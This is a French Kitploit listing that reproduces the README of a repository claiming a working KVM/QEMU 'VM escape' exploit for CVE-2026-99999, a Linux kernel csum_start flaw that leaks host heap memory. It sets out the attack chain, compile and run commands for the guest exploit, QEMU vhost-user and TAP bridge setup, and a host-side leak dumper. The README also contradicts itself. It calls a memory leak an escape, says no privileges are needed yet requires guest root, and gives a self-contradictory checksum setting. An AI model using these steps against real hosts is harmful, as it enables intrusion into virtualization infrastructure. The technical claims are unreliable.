Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-99999-exploit — PoC fonctionnel pour CVE-2026-99999 — véritable évasion de VM pour la faille csum_start du noyau Linux (CVSS 9.3). Fuite de tas de l'invité vers l'hôte. Voir aussi : CVE-2026-99999-analysis (Éducatif). | Kitploit
Outils/GitHubGitHub/01luyicheng/cve-2026-99999-exploit
Analyse des VulnérabilitésExploitationCollecte d'InformationsVirtualisation de SécuritéArticles et RechercheÉvasion de Conteneur
GitHub01luyicheng/cve-2026-99999-exploit

CVE-2026-99999-exploit

PoC fonctionnel pour CVE-2026-99999 — véritable évasion de VM pour la faille csum_start du noyau Linux (CVSS 9.3). Fuite de tas de l'invité vers l'hôte. Voir aussi : CVE-2026-99999-analysis (Éducatif).

Voir le dépôt
31il y a 15 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-99999 — Dépôt d'exploit PoC

⚠️ Ceci est un dépôt d'exploit fonctionnel. Il contient du code d'exploit réel qui déclenche la vulnérabilité CVE-2026-99999 dans un environnement KVM/QEMU actif.

📚 Pour une simulation sûre et locale uniquement de la même chaîne d'attaque, voir CVE-2026-99999-analysis (pas de root, pas de réseau, Python pur — idéal pour comprendre le bug sans laboratoire).

Résumé de la vulnérabilité

CVE-2026-99999 — Bug de validation csum_start IPv4 du noyau Linux dans le chemin de segmentation GSO. Une VM invitée peut divulguer ~32–64 octets de mémoire tas du noyau hôte par fragment de paquet sortant.

CVSS 9.3 | CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Noyaux affectés : Tous avant les commits de correction :

  • 5.10.272+, 5.15.223+, 6.1.190+, 6.12.113+, 6.18.57+, 7.2.11+

Modèle d'attaquant : Code non privilégié à l'intérieur d'une VM invitée KVM.


Arborescence du dépôt

.
├── README.md                    ← This file
├── guest/
│   ├── exploit_guest.c          ← Exploit (guest side)
│   ├── Makefile
│   └── README.md
└── host/
    ├── receive_and_dump.py      ← Leak detector (host side)
    └── setup_bridge.sh          ← TAP bridge setup (host side)

Chaîne d'attaque

1. GUEST: build_crafted_packet()
   └── [virtio_net_hdr(csum_start=0)] + [Eth] + [IP] + [UDP] + [payload]
           ↑
           csum_start=0 → points at IP header, NOT transport header

2. GUEST → QEMU (vhost-user)
   └── Guest enqueues packet via TX virtqueue
   └── QEMU reads descriptor → pulls malicious frame

3. HOST KERNEL: GSO segmentation path
   └── skb_checksum_help() reads csum_start (0) and csum_offset (0)
   └── Writes checksum result to byte 0 = IHL byte

4. HOST KERNEL: IHL corruption
   └── IHL: 0x45 (IHL=5, 20 bytes) → 0x4F (IHL=15, 60 bytes)

5. HOST KERNEL: ip_do_fragment() OOB read
   └── Reads 60 bytes of "IP header" when only 20 bytes exist
   └── Bytes 20-60 are adjacent host-kernel heap memory!

6. HOST: Outbound fragment
   └── Each fragment contains ~32-64 bytes of host-kernel heap memory
   └── Captured by receive_and_dump.py on the host bridge

Compilation

Côté invité

# vhost-user mode (default — full vhost-user protocol implementation)
gcc -Wall -Wextra -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt

# TAP bypass mode (no vhost-user socket needed)
gcc -Wall -Wextra -DUSE_TAP -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt

Côté hôte

# Leak detector
pip3 install scapy
python3 host/receive_and_dump.py --help

Utilisation

Option A : mode vhost-user (recommandé)

Nécessite :

  • QEMU démarré avec -netdev vhost-user,...
  • Mémoire de l'invité partagée avec QEMU via memfd ou tmpfs
  • Droits root dans l'invité
# On the host — start QEMU with vhost-user (socket on shared filesystem)
qemu-system-x86_64 \
  -m 2G -smp 2 \
  -hda /path/to/guest.img \
  -netdev vhost-user,id=net0,chardev=char0 \
  -device virtio-net-pci,netdev=net0,mac=52:54:00:12:34:56 \
  -chardev socket,id=char0,path=/tmp/vhost.sock,server=on,wait=off \
  -enable-kvm \
  -nographic

# On the host — start the leak detector
sudo python3 host/receive_and_dump.py --interface tap0 --packets 20 --verbose

# In the guest
sudo ./exploit_guest --socket /tmp/vhost.sock -n 20 -v

Option B : mode contournement TAP

Nécessite :

  • Un périphérique TAP connecté au pont de l'hôte
  • Les droits root ou CAP_NET_RAW dans l'invité
  • bridge-nf-call-iptables=1 sur l'hôte (pour le chemin GSO)
# On the host
sudo ip link add br0 type bridge
sudo ip link set br0 up
sudo ip addr add 10.0.0.1/24 dev br0
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 master br0
sudo ip link set tap0 up
python3 host/receive_and_dump.py --interface tap0 --packets 20 --verbose

# In the guest
gcc -DUSE_TAP -O2 -o exploit_guest guest/exploit_guest.c -lpthread -lrt
sudo ./exploit_guest --tap tap0 -n 20 -v

Notes techniques

Partage de mémoire vhost-user

L'exploit nécessite que QEMU puisse lire la mémoire du virtqueue TX de l'invité. Sans mémoire partagée, QEMU ne peut pas lire les descripteurs — les paquets sont mis en file mais jamais transmis.

Pour les tests, utilisez l'une des options suivantes :

# Option 1: memfd (QEMU ≥ 4.2, Linux ≥ 3.17)
# Pass -object memory-backend-memfd,id=mem0,share=on to QEMU

# Option 2: tmpfs
mkdir -p /mnt/guest-shared
mount -t tmpfs -o size=64M tmpfs /mnt/guest-shared
# Point SET_MEM_TABLE at this region

# Option 3: hugetlbfs
mount -t hugetlbfs -o pagesize=2M hugetlbfs /mnt/hugepages
# Use hugetlbfs region in SET_MEM_TABLE

Prérequis du chemin GSO

Le déclenchement de la CVE nécessite que le noyau hôte traite la trame via le chemin de segmentation GSO. Cela se produit lorsque :

  • La trame a le flag IP_MF (More Fragments) activé — forçant la fragmentation
  • L'offload de checksum est activé sur le périphérique virtio-net
  • La trame est plus grande que la MTU (forçant la segmentation GSO)

L'exploit active IP_MF dans chaque paquet pour garantir la segmentation GSO.

Détection

Le détecteur côté hôte (receive_and_dump.py) identifie CVE-2026-99999 en :

  1. Capturant les paquets sur l'interface bridge
  2. Détectant les octets IHL corrompus (version_ihl & 0x0F > 5)
  3. Signalant les octets excédentaires comme des fuites potentielles de mémoire du tas du noyau

Fichiers

guest/exploit_guest.c   ← Full vhost-user implementation (handshake + virtqueue + packet TX)
host/receive_and_dump.py ← Packet capture + leak detection on host
host/setup_bridge.sh    ← TAP bridge setup helper script

Dépannage

« Cannot connect to vhost-user socket »

  • Assurez-vous que QEMU est lancé avec vhost-user et que le socket existe
  • Vérifiez : ls -la /tmp/vhost.sock

« Host does not support VIRTIO_NET_F_CSUM »

  • Votre configuration QEMU/KVM n'a pas l'offload de checksum activé
  • Ajoutez à QEMU : -device virtio-net-pci,netdev=net0,csum=off,host_csum=off — activez, ne désactivez pas

« Host does NOT support VIRTIO_NET_F_CSUM » (sortie de l'exploit)

  • Le backend vhost-user de l'hôte n'a pas négocié la fonctionnalité d'offload de checksum
  • C'est attendu pour certaines configurations QEMU
  • Essayez plutôt le mode de contournement TAP

Aucun paquet corrompu détecté

  • Assurez-vous que le noyau de l'hôte est non patché (avant 5.10.272, 5.15.223, 6.1.190)
  • Vérifiez : uname -r
  • Assurez-vous que l'indicateur IP_MF est défini sur les paquets sortants
  • Essayez d'exécuter Wireshark sur le pont de l'hôte pour observer les trames brutes

Permission refusée

  • Invité : nécessite root ou sudo
  • Hôte : nécessite root ou sudo pour la capture de paquets et la configuration TAP

Avertissement

Pour la recherche en sécurité autorisée dans des environnements de laboratoire isolés UNIQUEMENT. L'utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas de permission écrite de tester est illégale. Les auteurs déclinent toute responsabilité en cas de mauvaise utilisation.

Télécharger l’outil